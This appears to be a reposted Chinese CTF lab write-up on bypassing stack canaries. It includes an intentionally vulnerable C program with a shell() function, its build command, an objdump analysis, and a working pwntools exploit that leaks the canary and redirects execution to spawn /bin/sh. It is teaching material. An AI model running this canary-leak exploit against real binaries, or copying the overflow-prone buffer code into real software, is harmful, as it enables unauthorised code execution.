[从0到1 CTFer]6.3.2 stack2 canary绕过实验

Posted 漫小牛

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[从0到1 CTFer]6.3.2 stack2 canary绕过实验相关的知识,希望对你有一定的参考价值。

1、Canary保护

canary中文译为金丝雀,以前矿工进入矿井时都会随身带一只金丝雀,通过观察金丝雀的状态来判断氧气的浓度情况。Canary保护的机制与此类似,通过在栈保护rbp的位置前插入一段随机数,这样如果攻击者利用栈溢出漏洞覆盖返回地址,也会把Canary一起覆盖。编译器会在函数ret指令前添加一段会检查Canary的值是否被改写的代码。如果被改写,则直接抛出异常,中断程序,从而阻止攻击发生。

2、题目源码

题目的源代码为:

#include <stdio.h>
#include <unistd.h>

void shell(){
        system("/bin/sh");
}

void vuln(){
        char buf[10];
        puts("input 1:");
        read(0, buf, 100);
        puts(buf);
        puts("input 2:");
        fgets(buf, 0x100, stdin);
}

int main(){
        vuln();
}

编译命令为:

gcc stack2.c -no-pie -fstack-protector-all -o stack2

3、分析过程

objdump -D -M intel stack2

在这里插入图片描述
图中,canary的地址为[rbp-0x8],buf的地址为[rbp-0x20],因此,在覆盖canary前,需要先覆盖24个字符。
shellcode的地址为:
在这里插入图片描述

4、exp

exp为:

from pwn import *

r = process('./stack2')
r.recvline()

context.arch = 'amd64'
r.sendline('a'*24)
r.recvuntil('a'*24+'\\n')
canary = '\\x00'+r.recv(7)
shell_addr = p64(0x4006a6)
r.sendline('a'*24+canary+p64(0)+shell_addr)
r.interactive()

由于Canary最低字节为0x00,为了防止被0截断,需要多发送一个字符来覆盖0x00。
注意,该exp与书中的exp有一些区别,就是泄露canary前需要写入的字符数目不同,本文的实验环境为ubuntu 16.04(gcc 5.4.0),书中的实验环境可能为20.04(gcc 9.3.0),通过如下的命令可以查看ubuntu和gcc的版本号:

lsb_release -a
gcc -v

以上是关于[从0到1 CTFer]6.3.2 stack2 canary绕过实验的主要内容,如果未能解决你的问题,请参考以下文章

从0到1的CTFer成长之路的docker环境配置

从0到1的CTFer成长之路的docker环境配置

《从0到1:CTFer成长之路》解题

《从0到1:CTFer成长之路》解题

《从0到1:CTFer成长之路》解题

《从0到1:CTFer成长之路》解题